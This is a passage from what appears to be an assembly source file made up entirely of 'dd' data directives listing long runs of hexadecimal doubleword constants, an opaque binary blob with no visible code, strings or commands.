0C44F806Bh, 7E9E009Ah, 522E2BC5h dd 0D34C9DFCh, 0E8420011h, 0A2EBF8C9h, 39E90FD6h, 49607A4Fh dd 3E5BDCB7h, 963FD00Fh, 0EBB20090h, 0E86ABC8Ch, 0A9FE077Eh dd 9310B047h, 0D8A836C3h, 0FE63974h, 3F3AFF02h, 48578013h dd 0CC8D30h, 3156B3FCh, 0C582BA45h, 0EE2E1700h, 68BD601Ah dd 400700CCh, 0F78ED589h, 1F1D7539h, 0CD409C57h, 85CCFCD1h dd 14BFFEF1h, 843F80D9h, 40BD9612h, 0EE273DC4h, 0DD1E098Fh dd 0B40ECDEh, 0E3C50C0Ah, 8D030056h, 0CEABB786h, 25005230h dd 42D8B4D5h, 0FABF4553h, 0C7182801h, 27A400CCh, 0EED67103h dd 671D6E8Ah, 0A4A81CD0h, 0C3D7D500h, 0E752A912h, 95F0A05h dd 0ABCA825h, 40885DA5h, 26A3E2A7h, 1E013E01h, 0FC227A05h dd 0FA9E3C8h, 0F30FA9Eh, 6759B2A3h, 0B9A8B383h, 0B6008A0Eh dd 9A732969h, 484F8907h, 7A002CDFh, 0EFDEC25Ah, 6E2440A7h dd 81006CBEh, 15275E19h dd 28CB6044h, 462FE164h, 0AB1C9301h, 24968D66h, 64F19442h dd 27360050h, 8098AFDh, 3E5BE8D3h, 4C12C8E8h, 726C00F6h dd 8E9D85E7h, 0B6CEF00h, 6BDBFA0Eh, 0E4EA5048h, 8D390043h dd 4E9F0C1Dh, 0D00C286h, 0A7128168h, 3F22489h, 7FBBD430h dd 0E4882DC4h, 0E700C96Dh, 0DDE2FACDh, 37CBDh, 70B13C20h dd 1CF8F359h, 0B74AD00h, 71E727DEh, 1C67E4BBh, 0DD8F6BA0h dd 55A84058h, 0FE04B590h, 92A65B01h, 4C0CF0D9h, 0B017E06Eh dd 45BCE10Bh, 575A002Ch, 0AE30CAh, 9F383BFh, 0C7ED91B2h dd 12A0B00h, 6B1B53F1h, 0C35700E0h, 0E1CADD02h, 0F8F0BF03h dd 260F330Bh, 5B710069h, 94AC4Eh, 3FC8652Ah, 0E773B2Bh dd 0FBBB6F00h, 0D18AB436h, 0D87B00C7h, 0A37F880Ch, 300E88Ch dd 0C181B043h, 173FFA1h, 0ED8D2225h, 0F0A87DD1h, 2F0E0902h dd 40F2FD77h, 0FC3CB033h, 1DCF0045h, 4FB9B7F6h, 38003FE5h dd 1BB5A04h, 733EA6h, 9A4DE37Fh, 436BD62Bh, 0F8528C00h dd 49757ADDh, 0F34700D0h, 0E1CD7D12h, 59628ED3h, 57CBFFD0h dd 38000DE3h, 0B0F70154h, 6E1CE3h, 2DE5FD5Fh, 39D914DDh dd 0FB6F3438h, 0ED85D10Eh, 6D0C23A2h, 98BCC064h, 0C2DE004Fh dd 5729F6B9h, 0ED00E34Bh, 0C1A2C7E8h, 0FCE8959h, 0A449F2CDh dd 0E9988FC0h, 82008142h, 0FD4F2A27h, 922038h, 1F1AF6FEh dd 0F38E3734h, 4CA0D206h, 3B18563h, 0BB3B7794h, 1D903CE5h dd 1E015FB7h, 477F0332h, 0DAE4053Dh, 3A9044h, 6717C23Eh dd 86375C91h, 0FDD3FE07h, 56D07715h, 0E03182h, 0D5498E0Fh dd 3CD45805h, 0A363E800h, 417EF4ACh, 5E7D0F06h, 4D2059D6h dd 6F0DE7A9h, 8C75CD06h, 0C011F1B5h, 9605AC88h, 851DB6A1h dd 58447851h, 8805E55h, 75C820h, 271D50F2h, 929EDEE5h dd 42FB9000h, 871C05C9h, 0ABB816h, 83EF4104h, 3AD6A045h dd 9222170Ch, 1F201Bh, 21498197h, 54F59455h, 34D04200h dd 6A95CC8Fh, 0FA3700A6h, 0A0D1E810h, 9207C4CBh, 31282602h dd 0F95CB9h, 0A489A348h, 0CE3E1316h, 8FAA8E37h, 9ABC02EBh dd 2F644866h, 5CA9015Fh, 0A33DE0DAh, 0BD3D476h, 16737F00h dd 65ABA6B6h, 6E1702D1h, 0A59B5F9Ah, 33D32C40h, 57D47F00h dd 352EEA72h, 231500D9h, 0C5281CE0h, 4AE2E836h, 817BE700h dd 0D55BC6A1h, 753F0072h, 5AAD71D2h, 6507911Eh, 0CEB283Bh dd 0E04EC0A2h, 0C7C9A1h, 0B2F3E860h, 7F6D3FA1h, 5257F000h dd 4018EBB1h, 41900008h, 0BEB93D64h, 0FE016D14h, 0AD8AD005h dd 0E2F49AF4h, 0A4FA0096h, 1A4021EBh, 500C1D0Ch, 30E13897h dd 421E0092h, 1F16170h, 0CC038048h, 63FE5244h, 2547E999h dd 0F84B30h, 0EB131BA4h, 9DDD5EF6h, 3945350h, 0E0B83200h dd 0E38498CFh, 0F75D006Fh, 0BED81121h, 4C12B23Ah, 57009502h dd 0DED676E2h, 97FF03A8h, 75805EC7h, 2056EBD1h, 983AFB74h dd 9F7060F0h, 0EA11BECh, 61C1F9Dh, 97F61882h, 10751082h dd 35611C80h, 5E0387C4h, 3A8BD1E5h, 63181F14h, 0D70E3C5Dh dd 0AD2C3148h, 0BB7CB620h, 7BAED407h, 0EB10637Dh, 0C72A2D07h dd 0E7BB38E9h, 0C2E324CDh, 34806324h, 7BC42A79h, 0F19AF618h dd 29D4F789h, 0F14A81Bh, 9C143543h, 0B4B58A00h, 1B96BE72h dd 68313E25h, 0A4984Ch, 0DC883DA5h, 0FEA66F35h, 0AD1D8901h dd 0E1903FB4h, 1BDAF4h, 0A806760Eh, 0C312172Fh, 0C6573Dh dd 0A7F694F3h, 5F7F5Ch, 9F612204h, 9E5A011Eh, 99ED4201h dd 0D9737230h, 1B8CC0CFh, 4F0F00C6h, 496BB36Dh, 0B700A089h dd 6EF66562h, 0C694C8h, 4DC7E0A7h, 0CBEF344Bh, 7AFF5B00h dd 0C150A119h, 0F486012Fh, 46361539h, 298483Dh, 127DF1FCh dd 981011C2h, 0D8848035h, 15F41Eh, 0EBEE8FE4h, 39C05940h dd 1F972501h, 0E9F1330Ah, 0EB29C3CCh, 0A212299Eh, 94C25010h dd 19002721h, 8FE5FB12h, 87F04466h, 442BF744h, 0C32BAF4h dd 102A5012h, 79CA39A8h, 7708147Fh, 0F27E880Bh, 6D800E00h dd 191DCh, 0A24532ABh, 145B4425h, 1AB4DA00h, 0F6E44AB7h dd 27C70005h, 0DBF7A37Ch, 5800C23Dh, 1C3EC673h, 0B0D0F868h dd 0B3B200D2h, 6B834D08h, 303ECD4h, 0B061E63Ch, 6ADEC026h dd 3F6300CFh, 0AB6CA886h, 79B8C5A9h, 1020EB00h, 5480D428h dd 45AF0057h, 0A5428D08h, 9300D8B3h, 0CD8ED969h, 83D511h dd 0BF1821C0h, 4EFFECBAh, 0F2F9D71Fh, 0E62C0079h, 113C6CDAh dd 579007Dh, 0FE8F870Eh, 0E216C790h, 1600C419h, 581E61BDh dd 273917F1h, 284A076Eh, 7C106097h, 0F2B88D7Ah, 20E85C30h dd 1773C12h, 0FC4B3D21h, 0E035ECBDh, 0BF00517Eh, 5A3A41EEh dd 4C099F87h, 1F1FC526h, 5E785DF2h, 0C1490142h, 0FCF17A5Ah dd 3474F54Bh, 0B42FFB03h, 0F8D75BB5h, 4A259Eh, 6FC9DA71h dd 0BDACA93Eh, 9D488E00h, 5A196C9Fh, 0C47E1F6Dh, 0F9C540B0h dd 0DF7B07F7h, 0EA0E9A00h, 5D4CFB94h, 841601E9h, 78FE1B88h dd 14897091h, 21F6CE0Eh, 0E6B82051h, 271F01h, 5798324Ch dd 3843106Ah, 8242B600h, 9EEA6F1Ch, 972D00DAh, 0E6A61DF5h dd 0B33086A3h, 9AAC58D2h, 77591C75h, 0B61E8F38h, 99A3FA80h dd 3901F784h, 142804C8h, 9DEC099Ch, 0BAF10977h, 4F872934h dd 0D249E085h, 180070AEh, 0EC19652h, 6E013h, 0B9480759h dd 0E5014FDAh, 0A9728C01h, 8E7BCF6Dh, 0FA1FAE4h, 586C5E78h dd 9E8D97A0h, 2D12E1B1h, 100066CAh, 344CAE39h, 0AD7D0ADFh dd 1FD896B9h, 0BCE940E3h, 7C885E5Ch, 11010B00h, 62B15FF4h dd 0AB90001Fh, 21188BDFh, 85003665h, 34AF27CCh, 238ADEh dd 82503577h, 1757B2A9h, 8C685100h, 1DF9B82Bh, 0C5F5162Ah dd 0B9880012h, 0B75CC1A6h, 55D7D500h, 9A45A910h, 4919072Eh dd 500C0FFBh, 432687Fh, 1A96830Ch, 3E101Ch, 0CC2CA4DDh dd 78F519FBh, 6C21B301h, 9DBA3675h, 4DC3F4h, 0B9ACB4FEh dd 23D1A4F5h, 8D205900h, 17E76889h, 5FBD0826h, 0E6804A58h dd 0D6525DFDh, 4C251C87h, 5EF1C2CCh, 32C06942h, 67078210h dd 73DF1746h, 9FD01F80h, 31FC03CFh, 3039B40Fh, 0EA24A0D8h dd 3FDD2C01h, 4C9BC1EEh, 4FBF60FEh, 0BF190E6Fh, 0E5014541h dd 0EC013A5Eh, 0B00A442h, 2E6708BAh, 7C2027h, 0A9B74D6h dd 6313B5E9h, 6CF2261Dh, 0F8B214h, 2BC9E0EAh, 1A488A9h dd 23D199Ch, 0D0493374h, 0A8070BFBh, 0A93F308Bh, 0F114B220h dd 0AA3D3C80h, 0F668A4h, 0EDE2E8B9h, 5D001A87h, 380AD79Ch dd 0C8CAEEh, 6B7B4997h, 0E7EBDA0Ch, 80A6B403h, 984B3413h dd 17D5BF3h, 0CE600FA1h, 0E897485Fh, 7700EDD8h, 0CBBC048Dh dd 1444F2Ah, 6F309AC6h, 0E8A2B40Dh, 0A30E63B5h, 0EAAFDBA9h dd 5200A00Fh, 2B8F1913h, 0A2E900A0h, 0BC0F6C7h, 7D004664h dd 0DD56D07Ah, 77CEB1EEh, 5FCC003Dh, 46140E0Fh, 921DDF99h dd 7B4042BDh, 0EFE7FF4Eh, 9E190029h, 0E0611182h, 93043F58h dd 0A8047EF0h, 146668C0h, 0E4820EC3h, 0FCA0623Eh, 0FD3D14Dh dd 407A7400h, 0EA6B873Dh, 588C0037h, 9563651h, 47009515h dd 0AC828AC0h, 0A7F7E4h, 2EB50F06h, 0DB0572BFh, 0B7B8E51Dh dd 0AEE4EFC0h, 0F011084h, 0F0B9D6A5h, 8E5CD740h, 243DA649h dd 55CF0021h, 0D571A426h, 179B0EF7h, 9200381h, 46739CFEh dd 0BF535C00h, 664B90D8h, 54EA6Eh, 33FF6B74h, 0BAD17A41h dd 980CA300h, 0A861DE08h, 5C941E56h, 0A26CC03Eh, 6B782AD2h dd 66585E00h, 0BAEE2B02h dd 6F52002Ch, 3E8FC917h, 0AB000B51h, 0F1BBEB84h, 1FDF2865h dd 1EECEDDCh, 53918FD7h, 0E29BF640h, 0B1074A4Bh, 6251D90Ch dd 7E40A9A7h, 5BFEE4h, 2633456Eh, 55422208h, 8ED02C1Dh dd 0E0B4A180h, 0D2C860h, 53350D9Dh, 9F4EF357h, 1A36FB00h dd 0B8C9D47Ch, 0AB0C00DBh, 5DB14792h, 1E0054F3h, 7A16F791h dd 7BCB9Ch, 4DB03B24h, 85210A35h, 0A2324Ch, 0D51E7EFEh dd 26F5D396h, 2CA19Bh, 775F3BA3h, 0A00070CFh, 6C6955E7h dd 193DCB68h, 0C190FAF2h, 4423F0B9h, 0A36B2F04h, 1AC554EBh dd 72C59C00h, 0C0ECB766h, 31B9D828h, 3D4DD14Ch, 2017708h dd 0B617F298h, 4600325h, 4892416h, 30C1016Ch, 0F45811DCh dd 2502A969h, 1A94403Ch, 0C360602Ch, 37A100F1h, 4E06D5Fh dd 572CDBD2h, 2D1D645Ch, 0D5A86C80h, 0D4032Fh, 45A58981h dd 0F4F83CC8h, 0C7D22C02h, 40A37664h, 1EDA8B5h, 691BFBFAh dd 0DCD57A53h, 4300F1B5h, 0A12441D1h, 7D44E079h, 0F8C5B042h dd 4FF4009Ah, 7A56A3C0h, 1B0080C7h, 5478A407h, 38014111h dd 64072FE7h, 0E73AF5FEh, 39C55050h, 27035E56h, 0BD0C9EE2h dd 460FA00Dh, 936700C3h, 8C1437FFh, 900095F9h, 8820F4D5h dd 755A0170h, 0AADD004Bh, 0D684087Dh, 521E36E0h, 0CE801DB8h dd 2429F491h, 0C95B0092h, 0E67DB6D9h, 0C8019F18h, 0BCF545C1h dd 33CC0577h, 0B60F0325h, 0B0EA7EE7h, 136FC790h, 79C52D00h dd 0CA1B9E94h, 0D03A0052h, 0D9E70203h, 4300708Ah, 38206D58h dd 185E2D25h, 69ACC95Ch, 70286FBFh, 0C300D710h, 78FDDFAAh dd 1E0267DEh, 0DF823F7Bh, 87B91DC4h, 70BB158Fh, 5AE49613h dd 633B5600h, 17893C2Ch, 308A03DDh, 9AA88C88h, 0F41D4E81h dd 5F25C231h, 267D7E5Bh, 3BE26074h, 11502CF3h, 1D00E49Ch dd 1FBE7595h, 3E0B24ADh, 2D1C09A9h, 28E94321h, 4E88F763h dd 5C004342h, 260102D6h, 397DAB0h, 0E14640F8h, 6CA13D1Fh dd 0F02EC1D1h, 0FC7E575Ch, 6519F00h, 257875BCh, 35F0019Ah dd 0AFDD81B2h, 12B9CCDAh, 0BA7FD4F1h, 0D3D02200h, 94ADF7F6h dd 64615C89h, 7F0158h, 7EF5603Bh, 4E56954h, 6E94C70Fh dd 0F117C043h, 0D208A6h, 4C36CD5Eh, 0B8CBB43Ch, 941368EAh dd 0CC004D35h, 10C2520Ah, 0D178002Bh, 0ED4245B4h, 28C0B94Bh dd 4E04D7C8h, 255200C5h, 0F6827ABAh, 6D1294F1h, 900142A8h dd 0CD2F8B9Dh, 2E7F9FC8h, 4EFB254h, 80EC77F5h, 17826D8Ch dd 0F3659800h, 9D57BFEDh, 0CCEE3Eh, 74EC0ED9h, 0F41C866Ah dd 82D20102h, 40DE6950h, 8E4590h, 0C20F241Bh, 1E9DB73Ah dd 1009E7B0h, 823337D1h, 8041990Fh, 0E92935D8h, 0F9BE00EEh dd 2A60DF57h, 0C0009FFDh, 4812EFBAh, 33FB42h, 0B0A8762Eh dd 0EBB409E5h, 4A80E300h, 0A92321AEh, 20F02A6h, 0EE32F7D2h dd 31B077Dh, 16EC3EA0h, 0F67E02B6h, 11277742h, 493BA4E0h dd 0A48B900h, 2DC09C4Bh, 8C73000Dh, 0F41620AAh, 0F603392Ah dd 42436546h, 0CF1CFB12h, 9D64D050h, 0CCF405E9h, 0C1B86ECEh dd 0C416BBAFh, 9505ABFCh, 0A594D5F8h, 6DB798C0h, 127EA81h dd 0C1D74EC6h, 707330D3h, 90A4A348h, 1600B170h, 639AFF6Fh dd 3E6D89h, 687EC90Dh, 0A8EC2BA9h, 10DB7B30h, 72CC6CAh dd 24D0A2E5h, 5805D01Dh, 0D87F9887h, 0EAC88900h, 0B915CB2Dh dd 8BE21234h, 7580495Ah, 91D4E500h, 9502BC88h, 0CC805EC2h dd 8BF8408Eh, 3DF000CFh, 0F4AF1A27h, 0A34C2FECh, 42DB00D0h dd 57097526h, 0B13F037Ch, 0CDBA7658h, 0DFB30E8h, 0F3A52700h dd 9505C1CEh, 0A8D6F2h, 0DEE1017Dh, 0A186273h, 0E418F910h dd 0E311FA6h, 87711EA2h, 80C29A93h, 8B426C64h, 630FD203h dd 0F8E025B3h, 24F8EEC0h, 4587023h, 908487B9h, 0D84D4BECh dd 4F17CA00h, 0BF2529D9h, 30EFFCF2h, 46F0059Eh, 351AAC50h dd 60104185h, 0FEE9F3B5h, 3C10C715h, 201602Ah, 0D00154ADh dd 2F3DF54Bh, 43DCDCB8h, 6060EBD5h, 3FF49896h, 0FA8ED75h dd 0EB780093h, 0F9A00DD4h, 0D0026B03h, 0AB2FE97h, 0E5ED40C5h dd 17E70E77h, 80BC752Fh, 0BDF109D6h, 2214CB29h, 0FAC0DC0h dd 0C0F541F4h, 0B21FA2C5h, 66FF000Fh, 0AA81E32Fh, 6100A692h dd 0B977C59h, 1ED2FC8Ah, 40EA54E8h, 8622F04Ch, 503F1DA1h dd 3B3400A3h, 49927942h, 0B1F14DFh, 0BA0498B5h, 0A08F05A9h dd 0A3255828h, 1FB080D3h, 2E8A41A0h, 3E85CCEEh, 15D54700h dd 1140F7F0h, 50667500h, 0E2DFEB22h, 489C0279h, 7A29196h dd 0CD00A042h, 0AC1D8E3Bh, 0D9FE7800h, 967AB6CDh, 43AA0FD1h dd 5CA39E15h, 79E048DEh, 0F1ECDB2h, 0FDC04E9Dh, 1DF7FCA4h dd 48981Ah, 8F47D6EAh, 0EF81D01Eh, 0A60A200h, 77D8FC75h dd 6850078Dh, 1F6C342Fh, 0C0E56185h, 0E843D654h, 0EA26EF00h dd 7574900Bh, 73EC0056h, 49EDFA5Bh, 0AB0539D5h, 0B2F39B48h dd 20F28800h, 85267Dh, 3BD0C3CEh, 0ED2FA52Ch, 0F3D4A400h dd 0E4437A82h, 0BF5B1497h, 1F79D54Ch, 0C3CC09F9h, 15629AE7h dd 0F61470F0h, 7C28DBB0h, 38728812h, 0F3F9F400h, 0CCB95DC9h dd 0CF080049h, 0D95880E8h, 4A02EEBEh, 28897D7Ch, 4DF46059h dd 31E41666h, 0CD0C00CFh, 81934840h, 0C00085E2h, 5ACC5D24h dd 39063Bh, 0C674C1F4h, 4C790FD3h, 7B8FFF0Ch, 0F15109Bh dd 5ED8B1EEh, 58BE23E0h, 4B00D532h, 8175678Ah, 39E07A11h dd 34028268h, 9872585Ah, 5D3F8880h, 5200C69Dh, 63F9BD03h dd 3BB00FC7h, 13308B6Bh, 30D46C11h, 8C38E912h, 0C51AC802h dd 0E40400B4h, 4200D183h, 0CC39AEB5h, 91713Eh, 44A6FC66h dd 0EAD129Ah, 1300F490h, 263D7064h, 0B82F5649h, 0AE4807Eh dd 6ECC0067h, 696A990Fh, 0EE6040B8h, 0CAC84EEh, 0A0ED0080h dd 307DBC0Ah, 40F11F19h, 4CF1BB98h, 0B938A600h, 0DE06A363h dd 59370095h, 0C3D243D3h, 0F31D839Bh, 0B740A017h, 0B221E04Ch dd 40756352h, 34986C42h, 2807113Dh, 49515714h, 94005975h dd 536F4BF9h, 0CCEF0001h, 3A0FD422h, 21C347C2h, 0D8415D7Ch dd 2863142h, 0A36A83B8h, 6355875Ah, 953298EFh, 7759130Fh dd 0E71480F8h, 0A6E849ECh, 0B3E39F01h, 0AF3FDC4Bh, 8F07C440h dd 6C7C0532h, 0AE126D19h, 0B3A43C00h, 146FC1h, 85E0A7F7h dd 0A6B96622h, 0A9AF9300h, 1CD4D83Ah, 38EF9011h, 0BD0128CEh dd 0A356D379h, 60B06108h, 0A4008D71h, 660A24C6h, 2921D47Ch dd 40FC5AEBh, 766A33B9h, 6BF68C00h, 0B3C08118h, 989A56h dd 0FE67FA39h, 756C1E70h, 4E015A76h, 6E2D1B0Fh, 0BF20A0F5h dd 6B3D267Ah, 3CAC099Ch, 97E88802h, 19A69080h, 0D300A468h dd 0BEEF0211h, 1F3D51Ch, 0ACAD24DBh, 0EC4A1DE0h, 0E302B467h dd 0E9EA6F0Eh, 2D2CC0E6h, 73BF307Eh, 26790180h, 13B51A03h dd 0C0501585h, 7397B95h, 77243072h, 0BC05923Ch, 1661D868h dd 0E976D800h, 33A65920h, 8C683E7Fh, 0F5F4B980h, 0B6D5A55Fh dd 80107B1Eh, 9C6EBDC0h, 0D75067h, 60A8ADE4h, 0F34B1B82h dd 0B33AFE00h, 0CE955C0Fh, 6D718Dh, 0D067F57Eh, 6EFE6029h dd 0F0E8A228h, 0A71A7C04h, 0B700AB8Fh, 9BCC42DEh, 0E2BD6800h dd 34EA84DDh, 0F60C4864h, 0BB72700h, 89161195h, 7FA3815Ch dd 2507CA00h, 0AA6AE12Dh, 2EF8009Eh, 86A289D0h, 0F0A003B3h dd 5D01A6ACh, 7CB42A97h, 80D754CEh, 27DE611h, 3520AFABh dd 1C79975Ch, 52FE120Eh, 55CF3400h, 0E87F6487h, 4D4BA5Eh dd 679AE0DFh, 0E5BC803Ah dd 0C7002FA6h, 0D0225DD6h, 351592Ah, 733F5F47h, 4CA837ACh dd 0A9706768h, 2A51800h, 0F9E6EB1h, 0DB7001D5h, 0A230F3C8h dd 28BE5Dh, 7155B2ECh, 173D113h, 0A3493625h, 6DC838D4h dd 0F02A033Ch, 0F0B1F7ECh, 1F69A94Eh, 87A54A43h, 0B094BD41h dd 2DA4E3F2h, 1AD5D750h, 0B04EB100h, 9A7B121Eh, 732A0022h dd 91BC16A6h, 83001B10h, 0D3A16335h, 0D561E3h, 59DF3334h dd 9C953D6Bh, 88B34Dh, 8EA0AD66h, 0FF6B124h, 659F1858h dd 80567065h, 635F6F3Fh, 547C6900h, 51749B5Eh, 6B320099h dd 9C6A9149h, 5F3C59FFh, 636F818Fh, 387025E2h, 6080B7D9h dd 0D0C0ADA9h, 24009133h, 0DD58C8DCh, 0C05DEE77h, 5550FE20h dd 8B0CFDCCh, 99B21C33h, 30836434h, 0A0D607D8h, 0A7B61140h dd 0E02D308Ah, 0B203E248h, 0F897041Fh, 234FAC1Ch, 9CB5EED5h dd 4B0F78A2h, 1A001E8Dh, 1FC038D6h, 10000DD5h, 1F33CC52h dd 722657h, 47925E31h, 58A5243Ah, 51C8E706h, 0F30FABAh dd 91DFAC5Ch, 0F92FD918h, 55EE4370h, 0C85DCB03h, 0E3A83049h dd 0F387805Bh, 0CB40EB57h, 0A90262h, 8ABC6C8Dh, 5FE04B7Ch dd 78011500h, 1C0B35E2h, 0BA7B3DE5h, 9F1BEC80h, 0F9037EA7h dd 51102400h, 0C020783h, 192003Bh, 7326C235h, 1100A0FFh dd 96EE9E6Fh, 0B67D5h, 6A5C43ACh, 0A83E8CCEh, 0A340BA03h dd 0F7DF578Bh, 0FC20F765h, 1A221C9h, 5510FE6Ah, 8C7C2643h dd 20AE8508h, 0A26900D2h, 0FA5D078Bh, 0A40795C2h, 0D0F5799h dd 31FF4E80h, 2877180h, 103FD7A6h, 84686188h, 743A4459h dd 0B0AB8A0Eh, 0D41DE6B8h, 0C021251Ah, 0CF73C2h, 2B4018F9h dd 0A6891FECh, 2045D536h, 84B92150h, 1373C787h, 281248DDh dd 6F79201Dh, 4C0B1474h, 30E732h, 239E8D1Dh, 0F1B46CDBh dd 9415068h, 0B6C5E017h, 96A29BC1h, 31D29052h, 0FDD0F417h dd 0CF302046h, 0A25FF421h, 34777A01h, 0A44572A1h, 3ED1428Ah dd 0DAA80694h, 440FD9A3h, 98568DC2h, 0FA0DB669h, 0C10C058h dd 0C11259EDh, 0B01ED300h, 0CE0FCA68h, 0A9D500B3h, 0A60A9E42h dd 461F3EEDh, 19C0D8D7h, 0AEE21688h, 8AF500AFh, 0D2F7CBD5h dd 0AC00D9E1h, 3A900309h, 0B04649Dh, 0E88F2CD6h, 0F0885A87h dd 0B6FA07E1h, 4DE26600h, 0B876D4DAh, 7FB2016Ch, 3E8B2975h dd 0E7FC203Dh, 1C391000h, 7ADBB7FFh, 0EAB6FCA5h, 0AC5700F7h dd 0A2060E0Ah, 9D00BD46h, 0B756B9A4h, 0FE66588Ah, 0A6650007h dd 14F7AD74h, 7A0BE3B8h, 3704DDAh, 0AB59DD86h, 0F1FCC0CDh dd 30B3189h, 0F45B0584h, 0BCF21461h, 8005FE8h, 0CB82C2B6h dd 0BAA4C7h, 0DCF7D870h, 6BE628ABh, 3DF3Bh, 0E752719Fh dd 75CB902h, 1238B13Eh, 13A08E59h, 0B0ACABE4h, 982EF00h dd 4EDCFDA2h, 1ACA03BCh, 0DB9934AAh, 0A49A10B0h, 4A123A00h dd 7659FD7Fh, 1FE978CDh, 998FBAh, 0C8F8B3CFh, 2B30307Bh dd 765C180Ch, 5A20C1DDh, 30B3957Eh, 371C86F4h, 0F740B7F0h dd 5C896CC3h, 45EB03FDh, 922F5A9Dh, 8622921h, 0F188C9B2h dd 2142BFE8h, 2F8E089Eh, 22EC22BEh, 7A229326h, 0C43C2234h dd 22EA6922h, 3622A0D7h, 0AAFF0133h, 8D5C906Fh, 0A72711E9h dd 0CD105212h, 0C1704050h, 0DA012284h, 21194E42h, 41A579F7h dd 14AF5014h, 3229FFC6h, 7979F2FFh, 89704C10h, 10AA1026h dd 992900C1h, 0D3AD52CCh, 551CA52Eh, 8A00C656h, 0E78DDB9h dd 0AF3C007Bh, 7BD484Ah, 8000B8B1h, 0CA2D569Eh, 261BDD16h dd 0F693966h, 6FA04838h, 7485B5ACh, 0C865000h, 44DA0616h dd 0D31B00E3h, 0B5650130h, 0A4017820h, 52A2317Ch, 69608476h dd 2F60043h, 15B2876Bh, 0C43B6035h, 98AE8165h, 0EFFB309Ah dd 2FD82D8h, 7B795947h, 20408EFCh, 4D1E5D0Ch, 72C0A263h dd 1F040A90h, 89AB022Ch, 928C3C6h, 7801E9E3h, 49CC60F8h dd 0B014DEDh, 6DFBDCE7h, 0DE6AA602h, 40B8AB36h, 0E0D1EE3Ch dd 0A237134h, 8AC41DE3h, 0E66B006Ch, 0C1696F12h, 0C9EE0916h dd 0DC4E8E00h, 0E3F7C6h, 0E47C5977h, 66CE85DBh, 8B004F76h dd 2DDE3AB1h, 0D98AAh, 1F7E7188h, 1887F2A8h, 0A25E6960h dd 3D83C415h, 918078D0h, 93EF1B0Fh, 1400D38Bh, 94B94102h dd 0EAF5C330h, 0C9680DD0h, 8028A84Dh, 9422FE20h, 305A47h dd 5C048A0h, 0D6E907EAh, 2600897Dh, 9FE745Bh, 0E4E76BA8h dd 6A216167h, 0DC4D9BB6h, 0DF0041ACh, 3A7CD160h, 3638C4h dd 7714D74Ch, 82F1F5B1h, 72E00700h, 0E11B6FA0h, 0F80E00A9h dd 9F7ADA10h, 1F00D8B4h, 0D68AED6Ch, 7FAD5FBh, 0AF652433h dd 201CF0D4h, 4600A4DDh, 87DBF991h, 0EF2D1B9h, 0EA9D644Eh dd 254C0057h, 3B95161Bh, 1100E5E4h, 78ECFACAh, 7EE880h dd 638F22F3h, 0EE947968h, 0F4930200h, 14DE2639h, 8DE0A089h dd 7ABA1EBFh, 41FC4F03h, 8E769A80h, 0EE901E57h, 99442200h dd 90E29FCFh, 0CC210070h, 4FB342C8h, 0F6F49634h, 0DC11B900h dd 145B594Ah, 41F0094h, 166F2AF3h, 1800D0E1h, 8E75795Fh dd 49BD5Ch, 7D6BA9CAh, 0A490F981h, 0FFF00D0Eh, 0AFB1C085h dd 0E81D8737h, 9B7556h, 0A11604B3h, 0EE5A81CFh, 6B0DF307h dd 3427E2CBh, 3E1509E0h, 7949898h, 339472F0h, 6DB41010h dd 580F5379h, 0A0E20495h, 0E7197880h, 0B55E003Bh, 167DD3FDh dd 0D11FD699h, 0AC069B44h, 0F289F66h, 0B91E1CE5h, 289CB160h dd 5A001B0Eh, 24F456CCh, 3D746DA9h, 0C3BA3B55h, 217A9180h dd 0DE10B4F0h, 75769918h, 14B368h, 0FA2D6961h, 521BA094h dd 492FF100h, 50D8B6EBh, 0F7380FE3h, 0A429CA0Ch, 21420C00h dd 0B900F8C7h, 9A151795h, 0A9B809h, 73703F9Eh, 69D5D4F0h dd 3B0E74F8h, 0A0DBAF24h, 267D3254h, 79F501FBh, 8271B92Fh dd 0E4AAEC78h, 8AFC1300h, 62EB2186h, 934D2879h, 0E39A0098h dd 31D8D951h, 49005C22h, 848535BDh, 3A7157h, 0BEC8EDF8h dd 0BB548FECh, 4EB63Bh, 69D39A60h, 5BE787h, 0F64A1027h dd 0A7436F88h, 706A9D00h, 7335C53Ch, 3E92287Ch, 0A41200A0h dd 0ACB2D227h, 6712C998h, 0C800EE9Ah, 2D846F24h, 81A010Eh dd 0F28A74FAh, 0E94DD848h, 6C38117Fh, 2C8F266Eh, 97710A87h dd 0C0035AE5h, 0E8C81A85h, 1CC4AEh, 3EF584Bh, 2450DEFEh dd 0D41B671Fh, 0AFE23F40h, 0E223975h, 63771A0Bh, 0DC60684Fh dd 559E4917h, 1B040700h, 32BED63Dh, 0F8771Ah, 0EF81FC6Eh dd 507ED760h, 1833C20Fh, 401DE07Ch, 53C151h, 0CFE2F015h dd 2694828h, 80C3A039h, 296DCD36h, 1BB6A05h, 94E7E9D3h dd 0D48E9BEDh, 0A4F0A969h, 1700C07Dh, 0A7B4FB2Eh, 7F24CD12h dd 7A9CA00Fh, 2FB84Bh, 5810CEE1h, 2D2B47B5h, 9FDA100h dd 8CDF92F3h, 0E8B4000Ch, 5B04EE50h, 0F1000ACEh, 197B03C7h dd 3AC2D77Ch, 0C0008FB6h, 0C5591A6h, 0B3E152Dh, 0CF8DAC8Eh dd 0FA005926h, 402A8FD3h, 0A7A324FDh, 19E90092h, 826EB004h dd 18AE4800h, 4FB5E4C3h, 0CA0F3F61h, 0EC835202h, 0BC48BD85h dd 29002FB2h, 2F032A3h, 0E06DAE7Ah, 0A40B511Dh, 3AA464E0h dd 87002322h, 0EA560C14h, 0F0045498h, 0B68F753Fh, 3DA92AC0h dd 5CB828CDh, 0D1761FF0h, 0DC5FCFCCh, 0B1B04640h, 48057C6Bh dd 21DA1106h, 65540C80h, 16FC00DDh, 771C9FB6h, 780081A4h dd 8A182D79h, 0FE13BBh, 155E7BD2h, 0CA50FBE2h, 0AF00ACBAh dd 24861844h, 0D4CF9Dh, 0C04B3E38h, 971911B6h, 829C0258h dd 0C0BD7D06h, 574690h dd 7340591Fh, 0F89368BCh, 0A0DE1305h, 0C887EB91h, 3102F7F0h dd 4F7C002Bh, 6A0D9AB5h, 0D900B14Ah, 52CB9EDDh, 0F5BFD8h dd 0F3EFD350h, 0D1291B7Dh, 0B9958606h, 26A087E4h, 40984864h dd 0A836ED05h, 86E93103h, 0F0965828h, 113CFACh, 6330B193h dd 302E3B0Ch, 3500CD03h, 0BA266BDBh, 584A0Eh, 8D17A601h dd 4B8B34D3h, 0D174D900h, 0A273B44Fh, 2E560594h, 80B06D5Ch dd 9A235EBBh, 